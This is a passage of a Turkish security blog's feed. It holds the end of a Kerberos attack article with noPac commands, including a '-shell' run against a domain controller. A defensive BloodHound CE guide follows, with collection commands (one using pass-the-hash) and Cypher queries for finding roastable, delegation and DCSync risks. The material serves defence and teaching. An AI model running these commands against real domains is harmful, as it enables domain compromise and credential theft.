&lt;li&gt;TGT al: &lt;code&gt;user@CORP.LOCAL&lt;/code&gt; için değil, &lt;code&gt;DC01@CORP.LOCAL&lt;/code&gt; için&lt;/li&gt;
&lt;li&gt;Machine account&#39;un sAMAccountName&#39;ini değiştir (başka bir şey yap)&lt;/li&gt;
&lt;li&gt;TGS iste: &lt;code&gt;DC01@CORP.LOCAL&lt;/code&gt;&#39;ın TGT&#39;si ile &lt;code&gt;krbtgt&lt;/code&gt; servisi için&lt;/li&gt;
&lt;li&gt;KDC, &lt;code&gt;DC01&lt;/code&gt; bulamaz, &lt;code&gt;DC01$&lt;/code&gt; arar ve &lt;strong&gt;gerçek DC&#39;yi bulur&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Sonuç: gerçek DC yetkilerine sahip TGS alınır&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# noPac saldırısı
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Düzeltme:&lt;/strong&gt; KB5008380 ve KB5008602 (Kasım/Aralık 2021).&lt;/p&gt;
&lt;h3&gt;Sapphire Ticket (2022)&lt;/h3&gt;
&lt;p&gt;Diamond Ticket&#39;ın geliştirilmiş versiyonu. Gerçek bir kullanıcının PAC&#39;ını başka bir kullanıcının bileti için kullanır. &lt;code&gt;S4U2Self&lt;/code&gt; mekanizması üzerinden gerçek bir PAC alınır ve başka bir bilet içine enjekte edilir. Sonuç: tüm PAC checksum&#39;ları geçerli.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Referanslar ve İleri Okuma&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;RFC&#39;ler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)&lt;/li&gt;
&lt;li&gt;RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5&lt;/li&gt;
&lt;li&gt;RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5&lt;/li&gt;
&lt;li&gt;RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types&lt;/li&gt;
&lt;li&gt;RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication&lt;/li&gt;
&lt;li&gt;RFC 6806 (2012) — Kerberos Principal Name Canonicalization&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Dokümanları:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MS-KILE: Kerberos Protocol Extensions&lt;/li&gt;
&lt;li&gt;MS-PAC: Privilege Attribute Certificate Data Structure&lt;/li&gt;
&lt;li&gt;MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Akademik Çalışmalar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Neuman, C. &amp;amp; Ts&#39;o, T. (1994). &amp;quot;Kerberos: An Authentication Service for Computer Networks.&amp;quot; IEEE Communications.&lt;/li&gt;
&lt;li&gt;Bellovin, S.M. &amp;amp; Merritt, M. (1991). &amp;quot;Limitations of the Kerberos Authentication System.&amp;quot; USENIX Conference Proceedings.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Araştırma Blogları:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;harmj0y: &amp;quot;The Evolution of Protected Users&amp;quot;&lt;/li&gt;
&lt;li&gt;harmj0y: &amp;quot;Kerberoasting Without Mimikatz&amp;quot;&lt;/li&gt;
&lt;li&gt;gentilkiwi (mimikatz belgesi): MS-KILE PAC implementation&lt;/li&gt;
&lt;li&gt;Sean Metcalf (&lt;a href=&quot;http://adsecurity.org/&quot;&gt;adsecurity.org&lt;/a&gt;): &amp;quot;Detecting Kerberoasting Activity&amp;quot;&lt;/li&gt;
&lt;li&gt;Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): &amp;quot;An Ace Up the Sleeve&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>BloodHound CE ile Defensif AD Analizi: Saldırı Yolu Yönetimi</title>
    <link href="https://tagmachan.com/bloodhound-ce-ile-defensif-ad-analizi-saldiri-yolu-yonetimi.tagox"/>
    <updated>2026-06-29T10:00:00Z</updated>
    <id>https://tagmachan.com/bloodhound-ce-ile-defensif-ad-analizi-saldiri-yolu-yonetimi.tagox</id>
    <category term="Security Research"/>
    <summary>BloodHound Community Edition&#39;ı defensif amaçlarla kullanma rehberi: tier model implementasyonu, saldırı yolu keşfi ve önceliklendirme, blue team için Cypher sorguları, iyileştirme iş akışları ve sürekli AD maruz kalma yönetimi — SpecterOps Attack Path Management&#39;a atıfla.</summary>
    <content type="html">&lt;h3&gt;Giriş: Saldırganın Haritasını Savunmacı Kullanmak&lt;/h3&gt;
&lt;p&gt;2016 yılında Andy Robbins, Rohan Vazarkar ve Will Schroeder DEF CON&#39;da BloodHound&#39;u tanıttığında, seyirci salonundan yükselen tepki karışıktı: kırmızı takım üyeleri sevinirken, birçok sistem yöneticisi bunun ne kadar tehlikeli olduğunu anlamakta zorlandı. BloodHound, Active Directory ortamlarındaki ilişkileri bir grafik veritabanında modelleyen ve bu grafik üzerinde en kısa saldırı yollarını hesaplayan açık kaynaklı bir araçtı. Bir saldırgan, etki alanında herhangi bir standart kullanıcı hesabına sahip olsa bile Domain Admin&#39;e giden yolu otomatik olarak bulabiliyordu.&lt;/p&gt;
&lt;p&gt;Bugün tablo farklı. SpecterOps, BloodHound&#39;u &lt;strong&gt;Attack Path Management (APM)&lt;/strong&gt; kavramına dönüştürdü: artık bu araç yalnızca saldırganların kullandığı bir keşif silahı değil, blue team&#39;lerin sürekli olarak AD güvenlik duruşunu ölçtüğü bir savunma platformudur. BloodHound Community Edition (CE), bu yeni nesil yaklaşımın ücretsiz, açık kaynak halidir.&lt;/p&gt;
&lt;p&gt;Bu yazıda BloodHound CE&#39;yi &lt;strong&gt;defensif&lt;/strong&gt; bir perspektiften inceleyeceğiz: kurulumdan veri toplama metodolojisine, tier model implementasyonundan özel Cypher sorgularına, saldırı yolu önceliklendirmesinden sistematik iyileştirme iş akışına kadar her adımı derinlemesine ele alacağız. Amaç, organizasyonunuzun Active Directory ortamını bir saldırganın gözüyle görerek, o saldırgan harekete geçmeden önce kritik güvenlik açıklarını kapatmaktır.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/bloodhound-defensive-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;BloodHound CE vs. Legacy BloodHound: Ne Değişti?&lt;/h3&gt;
&lt;p&gt;BloodHound tarihsel olarak üç farklı ürüne evrildi. Bu ayrımı anlamak, doğru aracı seçmek için kritiktir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Legacy BloodHound (v4 ve öncesi)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Orijinal BloodHound, Electron tabanlı bir masaüstü uygulamasıydı. Tek kullanıcılıydı, Neo4j doğrudan yerel makinede çalışırdı. Kurulumu zahmetliydi ve özellikle Windows dışı platformlarda ciddi sorunlar yaşatırdı. Hâlâ çalışan ve belirli kullanım senaryoları için yeterli olan bu sürüm, büyük kurumsal ortamlar için artık önerilmemektedir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BloodHound CE (Community Edition — v5+)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Modern BloodHound tamamen yeniden yazıldı. React tabanlı web arayüzü, Docker Compose ile saniyeler içinde ayağa kalkan servisler, çok kullanıcılı erişim desteği (RBAC), REST API ve iki veritabanı katmanı (PostgreSQL + Neo4j) ile gelir. Kurulum tek bir komut, erişim herhangi bir tarayıcıdan. BloodHound CE, GitHub üzerinde Apache 2.0 lisansıyla dağıtılmaktadır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BloodHound Enterprise (BHE)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SpecterOps&#39;un ticari ürünüdür. CE&#39;nin tüm özelliklerine ek olarak sürekli Attack Path Management, otomatik raporlama, tenant-based çoklu orman desteği, Tier Zero asset yönetimi ve SIEM entegrasyonları sunar. Büyük kurumsal ortamlar için tasarlanmıştır; fiyatlandırma lisans bazındadır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SharpHound vs &lt;a href=&quot;http://bloodhound.py/&quot;&gt;BloodHound.py&lt;/a&gt;: Veri Toplayıcılar&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SharpHound&lt;/strong&gt; (.NET): Resmi kolektör. Windows&#39;tan çalışır, domain-joined makine gerektirmez (uzaktan da kullanılabilir), en kapsamlı veri setini üretir. Tüm koleksiyon metodlarını destekler: ACL, Session, LoggedOn, ObjectProps, Trusts, Container, CertServices, GPOLocalGroup.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://bloodhound.py/&quot;&gt;BloodHound.py&lt;/a&gt;&lt;/strong&gt; (Python): Topluluk destekli, Linux/macOS&#39;tan çalışır. Ağ erişimi ve geçerli domain kimlik bilgileri yeterlidir. Domain-joined makine gerekmez. LDAP+Kerberos üzerinden çalışır; SharpHound&#39;a kıyasla bazı koleksiyon metodları eksik veya daha yavaş olabilir.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;BloodHound CE Kurulum&lt;/h3&gt;
&lt;p&gt;BloodHound CE&#39;nin en hızlı yolu Docker Compose&#39;dur. Production ortamlarda ayrı bir analiz makinesi (jump host veya güvenli iş istasyonu) kullanmanız önerilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tek komutla kurulum — Docker ve Docker Compose gerekli
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Arka planda çalıştır
curl -L https://ghst.ly/getbhce | docker compose -f - up -d

# Varsayılan URL: http://localhost:8080
# İlk giriş şifresi Docker log çıktısında gösterilir:
docker logs bloodhound-ce_bloodhound_1 2&amp;gt;&amp;amp;1 | grep &amp;quot;Initial Password&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kurulum tamamlandığında BloodHound CE üç konteyner çalıştırır:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bloodhound&lt;/code&gt;: Ana BloodHound uygulaması (Go backend + React frontend)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;graph-db&lt;/code&gt;: Neo4j 4.4 (Cypher sorgu motoru)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;app-db&lt;/code&gt;: PostgreSQL (kullanıcı yönetimi, uygulama verisi)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;İlk girişte şifreyi değiştirin ve analiz için bir domain kullanıcısı ya da API token oluşturun.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Güvenli Kurulum Notları:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Production&#39;da 0.0.0.0 yerine localhost&#39;a bağla
# docker-compose.yml&#39;de:
# ports:
#   - &amp;quot;127.0.0.1:8080:8080&amp;quot;

# TLS için önünde nginx reverse proxy kullanın
# Koleksiyon sırasında uç noktayı VPN arkasında tutun
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SharpHound ile Veri Toplama&lt;/h3&gt;
&lt;p&gt;Veri toplama, tüm analizin temelidir. SharpHound&#39;un ne topladığını ve nasıl çalıştırıldığını anlamak, hem doğru analiz için hem de koleksiyonun yarattığı ağ gürültüsünü değerlendirmek için kritiktir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Temel Koleksiyon Metodları:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tüm veriyi topla (en kapsamlı, en gürültülü)
.&#92;SharpHound.exe -c All --zipfilename corp_bhdata.zip

# Sadece DC&#39;lerden topla — çok daha az gürültülü, hızlı
.&#92;SharpHound.exe -c DCOnly

# Yalnızca ACL ve grup bilgisi (oturum verisi olmadan)
.&#92;SharpHound.exe -c ACL,Group,ObjectProps,Container

# Session verisi — hangi kullanıcı hangi makinede oturum açmış
# Bu koleksiyon lokal admin hakları gerektirir (SMB üzerinden)
.&#92;SharpHound.exe -c Session,LoggedOn --computermaxconn 5

# Belirli OU hedefle (büyük ortamlarda parçalı koleksiyon)
.&#92;SharpHound.exe -c All --searchbase &amp;quot;OU=Workstations,DC=corp,DC=local&amp;quot;

# ADCS verisi (sertifika şablonları, CA&#39;lar)
.&#92;SharpHound.exe -c CertServices

# Uzak domain koleksiyonu (domain-joined olmayan makineden)
.&#92;SharpHound.exe -c All -d corp.local --ldapusername jdoe --ldappassword &#39;P@ssw0rd&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Linux&#39;tan uzak koleksiyon (BloodHound.py)
pip3 install bloodhound
python3 bloodhound.py &#92;
  -u jdoe &#92;
  -p &#39;Password123&#39; &#92;
  -d corp.local &#92;
  -dc dc01.corp.local &#92;
  -c all &#92;
  --zip &#92;
  --dns-tcp

# Kerberos kimlik doğrulama ile (Pass-the-Hash veya PKINIT)
python3 bloodhound.py &#92;
  -u jdoe@corp.local &#92;
  --hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 &#92;
  -d corp.local &#92;
  -dc dc01.corp.local &#92;
  -c all &#92;
  --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Koleksiyon Güvenliği ve Gürültü Yönetimi:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BloodHound koleksiyonu domain ortamında iz bırakır. Blue team olarak kendi koleksiyonunuzu yetkilendirdiğiniz bir zaman penceresi belirleyin:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Session&lt;/code&gt; koleksiyonu: Her hedefe SMB bağlantısı açar. IDS/IPS tarafından yakalanabilir.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LoggedOn&lt;/code&gt; koleksiyonu: Uzak registry (RemoteRegistry servisi) gerektirir, etkinleştirilmemiş sistemlerde çalışmaz.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ACL&lt;/code&gt; koleksiyonu: LDAP üzerinden çalışır, neredeyse sessizdir. Tercih edilir başlangıç noktası.&lt;/li&gt;
&lt;li&gt;Koleksiyon için hizmet hesabı oluşturun: &lt;code&gt;svc_bloodhound&lt;/code&gt;. Minimum haklar: domain user + RemoteRegistry okuma.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tier Model (Katmanlı Yönetim Modeli)&lt;/h3&gt;
&lt;p&gt;BloodHound verisi ne kadar zengin olursa olsun, bir bağlam olmadan anlamsızdır. Bu bağlam &lt;strong&gt;Tier Model&lt;/strong&gt;dir — Microsoft&#39;un ESAE (Enhanced Security Admin Environment) ve PAW (Privileged Access Workstations) çerçevesine dayanan kimlik bilgisi izolasyon mimarisi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/bloodhound-tier-model.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tier 0 — Kontrol Düzlemi (Control Plane)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tier 0, kimlik düzlemini kontrol eden varlıkları kapsar. Bu tier&#39;ın güvenliği ihlal edilirse organizasyonun tüm dijital varlıkları tehlike altındadır.&lt;/p&gt;
&lt;p&gt;Tier 0 varlıkları:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domain Controllers&lt;/strong&gt; (tüm DC&#39;ler, RODC dahil)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise CA sunucuları&lt;/strong&gt; (ADCS PKI altyapısı)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ADFS sunucuları&lt;/strong&gt; (federation ve token imzalama)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure AD Connect / AAD Sync&lt;/strong&gt; (kimlik senkronizasyonu, hash sync içerir)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tier 0&#39;ı yöneten yedekleme sistemleri&lt;/strong&gt; (Veeam, Backup Exec — AD aware)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain Admins, Enterprise Admins, Schema Admins&lt;/strong&gt; grupları&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tier 0 PAW&#39;ları&lt;/strong&gt; (bu varlıkları yöneten ayrıcalıklı erişim iş istasyonları)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tier 1 — Sunucu Katmanı&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Kurumsal uygulamalar, veritabanları ve altyapı servisleri. Tier 0 kimlik bilgileri bu tier&#39;da asla kullanılmaz.&lt;/p&gt;
&lt;p&gt;Tier 1 varlıkları:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uygulama sunucuları (IIS, Tomcat, JBoss)&lt;/li&gt;
&lt;li&gt;Veritabanı sunucuları (SQL Server, Oracle)&lt;/li&gt;
&lt;li&gt;Dosya sunucuları (DFS, SMB paylaşımları)&lt;/li&gt;
&lt;li&gt;Exchange / mail sunucuları (Exchange WriteDACL riski özellikle önemli)&lt;/li&gt;
&lt;li&gt;SCCM / Intune yönetim sunucuları&lt;/li&gt;
&lt;li&gt;Tier 1 servis hesapları&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tier 2 — Kullanıcı Katmanı&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;İnternet&#39;e en çok maruz kalan, phishing ve başlangıç erişim saldırıları için birincil hedef tier.&lt;/p&gt;
&lt;p&gt;Tier 2 varlıkları:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kullanıcı workstationları ve laptoplar&lt;/li&gt;
&lt;li&gt;Sanal masaüstleri (VDI)&lt;/li&gt;
&lt;li&gt;Helpdesk hesapları (Tier 2 sınırı içinde tutulmalı)&lt;/li&gt;
&lt;li&gt;Standart domain kullanıcıları&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;BloodHound ile Tier İhlallerini Tespit Etme:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tier model uygulamadan önce mevcut ihlalleri tespit etmelisiniz. BloodHound bu konuda son derece değerlidir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Tier 2 kullanıcısından Tier 0 varlığına herhangi bir yol
// (Önce node&#39;lara tier property ekleyin — BH custom properties veya dış etiketleme)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..8]-&amp;gt;
  (t:Computer)
)
WHERE t.name IN [&#39;DC01.CORP.LOCAL&#39;, &#39;CA01.CORP.LOCAL&#39;, &#39;ADFSRV01.CORP.LOCAL&#39;]
AND NOT u.name STARTS WITH &#39;CORP&#92;&#92;DA-&#39;
RETURN u.name, t.name, length(p) as Hops
ORDER BY Hops ASC

// Servis hesabı Tier 0 grubunda mı?
MATCH (u:User)-[:MemberOf*1..]-&amp;gt;(g:Group)
WHERE g.name =~ &#39;(?i).*(domain admins|enterprise admins|schema admins).*&#39;
AND u.name =~ &#39;(?i).*(svc_|service_|sa_).*&#39;
RETURN u.name, g.name
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kritik Saldırı Yolu Türleri ve Tespiti&lt;/h3&gt;
&lt;p&gt;BloodHound&#39;un güçlü olduğu birkaç kritik saldırı kategorisi vardır. Her birini, nasıl tespit edileceğini ve nasıl iyileştirileceğini tek tek ele alalım.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Kerberoasting Yolları&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Kerberoasting, SPN (Service Principal Name) kayıtlı hesapların TGS biletlerini çevrimdışı kırmaya dayanan bir saldırıdır. BloodHound&#39;da &lt;code&gt;hasspn:true&lt;/code&gt; özelliğiyle sorgulanır.&lt;/p&gt;
&lt;p&gt;Risk faktörleri:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hesap admincount:true ise — doğrudan Domain Admin yolu&lt;/li&gt;
&lt;li&gt;Şifre son değiştirilme tarihi eski ise — zayıf şifre olasılığı yüksek&lt;/li&gt;
&lt;li&gt;RC4 şifreleme destekleniyorsa — modern GPU&#39;larla çok hızlı kırılır&lt;/li&gt;
&lt;li&gt;Hesap son giriş tarihi eski ise — sahipsiz hesap&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Kerberoastable hesaplar ve DA&#39;ya uzaklıkları
MATCH (u:User {hasspn:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
RETURN u.name,
       u.serviceprincipalnames,
       u.pwdlastset,
       u.admincount,
       length(p) as HopsToDA
ORDER BY HopsToDA ASC NULLS LAST

// Yüksek değerli Kerberoastable hesaplar (DA yolunda)
MATCH (u:User {hasspn:true, enabled:true, admincount:true})
RETURN u.name,
       u.serviceprincipalnames,
       datetime({epochSeconds: toInteger(u.pwdlastset)}) as PasswordLastSet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;İyileştirme öncelikleri:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tüm Kerberoastable admin hesapları → gMSA (Group Managed Service Account) ile değiştir&lt;/li&gt;
&lt;li&gt;gMSA mümkün değilse: AES256 şifreleme zorla, 25+ karakter şifre, 180 günde bir rotasyon&lt;/li&gt;
&lt;li&gt;Hesabı Protected Users grubuna al (RC4 kaldırır, TGS süresi kısalır)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. AS-REP Roasting&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Kerberos ön kimlik doğrulaması devre dışı bırakılmış hesaplar, herhangi bir kimlik doğrulaması olmadan şifreli yanıt alabilir — bu yanıt çevrimdışı kırılabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// AS-REP Roastable hesaplar ve etkileri
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
RETURN u.name,
       u.admincount,
       u.description,
       length(p) as HopsToDA
ORDER BY u.admincount DESC, HopsToDA ASC

// AS-REP Roastable + son 90 günde aktif
MATCH (u:User {dontreqpreauth:true, enabled:true})
WHERE u.lastlogontimestamp &amp;gt; (timestamp()/1000 - 7776000)
RETURN u.name, u.lastlogontimestamp, u.admincount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;İyileştirme: Tüm hesaplar için Kerberos ön kimlik doğrulamasını etkinleştirin. Bu seçenek genellikle UNIX/Linux sistemlerin eski sürümlerini desteklemek için devre dışı bırakılmıştır — modern Kerberos istemcileri bunu destekler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Unconstrained Delegation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unconstrained delegation yapılandırılmış bir bilgisayara herhangi bir kullanıcı bağlandığında, o kullanıcının TGT&#39;si bilgisayar belleğinde (LSASS) saklanır. Saldırgan bu bilgisayarı ele geçirirse ve PrintSpooler (MS-RPRN) gibi coercion saldırılarıyla DC&#39;yi bu bilgisayara bağlatabilirse, DC&#39;nin TGT&#39;sini çalabilir — bu tam domain compromise anlamına gelir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Unconstrained delegation bilgisayarlar (DC&#39;ler hariç)
MATCH (c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS &#39;DC&#39;
RETURN c.name,
       c.operatingsystem,
       c.lastlogontimestamp,
       c.haslaps
ORDER BY c.name

// Bu bilgisayarlara lokal admin olan kullanıcılar
MATCH (u:User)-[:AdminTo]-&amp;gt;(c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS &#39;DC&#39;
RETURN u.name, c.name, u.enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;İyileştirme seçenekleri:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Unconstrained delegation&#39;ı tamamen devre dışı bırak&lt;/li&gt;
&lt;li&gt;Resource-Based Constrained Delegation (RBCD) ile değiştir&lt;/li&gt;
&lt;li&gt;Bilgisayarı Protected Users grubuna ekle (delegation engellenir)&lt;/li&gt;
&lt;li&gt;&amp;quot;Account is sensitive and cannot be delegated&amp;quot; bayrağını set et (hesap bazında)&lt;/li&gt;
&lt;li&gt;DC&#39;de PrintSpooler servisi devre dışı bırak (coercion engeli)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4. DCSync Hakları&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DCSync, Domain Controller&#39;ı taklit ederek tüm domain&#39;in hash&#39;lerini çeken bir saldırı tekniğidir. Bir hesabın bunu yapabilmesi için AD&#39;de özel replikasyon izinleri (DS-Replication-Get-Changes-All) olması gerekir. Bu izin sadece DC bilgisayar hesaplarında ve bazı özel servis hesaplarında (MSOL_, AZURE_) olmalıdır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// DCSync hakları olan tüm principal&#39;lar
MATCH p=(n)-[:DCSync]-&amp;gt;(d:Domain)
RETURN n.name, n.objectid, labels(n) as NodeType

// DC bilgisayarları hariç tut — bunlar meşru
MATCH p=(n)-[:DCSync]-&amp;gt;(d:Domain)
WHERE NOT (n:Computer AND (
  n.name CONTAINS &#39;DC&#39;
  OR n.name CONTAINS &#39;DOMAINCTRL&#39;
))
RETURN n.name, labels(n) as NodeType, n.objectid

// DCSync + Domain Admin olmayan hesaplar
MATCH (n)-[:DCSync]-&amp;gt;(d:Domain)
WHERE NOT EXISTS {
  MATCH (n)-[:MemberOf*..]-&amp;gt;(g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
}
RETURN n.name, labels(n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;İyileştirme: Azure AD Connect ve ADFS servis hesapları dışında hiçbir hesapta DCSync hakkı olmamalıdır. Yetkisiz DCSync hakları için hemen kaldırın ve son 30 günlük NTDS audit loglarını inceleyin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. LAPS Olmayan Bilgisayarlar&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LAPS (Local Administrator Password Solution), her workstation&#39;ın lokal Administrator şifresini otomatik olarak döndürür ve AD&#39;de şifrelenmiş olarak depolar. LAPS olmayan ortamlarda tüm workstation&#39;lar aynı lokal admin şifresine sahip olabilir — bir makineyi ele geçirmek tüm ağa pivot imkânı verir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// LAPS olmayan aktif bilgisayarlar
MATCH (c:Computer {enabled:true})
WHERE c.haslaps = false
RETURN c.name,
       c.operatingsystem,
       c.lastlogontimestamp
ORDER BY c.lastlogontimestamp DESC NULLS LAST

// LAPS oranı (yüzde)
MATCH (c:Computer {enabled:true})
WITH count(c) as total
MATCH (c:Computer {enabled:true, haslaps:true})
RETURN count(c) as WithLAPS, total, (count(c)*100/total) as Percentage

// İşletim sistemine göre LAPS durumu
MATCH (c:Computer {enabled:true})
RETURN c.operatingsystem,
       count(c) as Total,
       sum(CASE WHEN c.haslaps THEN 1 ELSE 0 END) as WithLAPS
ORDER BY c.operatingsystem
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Defensif Cypher Sorguları — Tam Kütüphane&lt;/h3&gt;
&lt;p&gt;Aşağıda blue team&#39;lerin BloodHound CE&#39;de düzenli olarak çalıştırması gereken sekiz temel sorgu kategorisi detaylandırılmıştır.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/bloodhound-cypher-queries.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 1: Domain Admin&#39;e En Kısa Yollar&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Tüm etkin kullanıcılardan DA&#39;ya en kısa yol (ilk 20)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
WHERE NOT u.name STARTS WITH &#39;CORP&#92;&#92;DA-&#39;
RETURN u.name, length(p) as PathLength
ORDER BY PathLength ASC
LIMIT 20

// En kısa yol uzunluğu dağılımı (kaç kullanıcı kaç adımda)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
WITH length(p) as hops, count(u) as UserCount
RETURN hops, UserCount
ORDER BY hops ASC
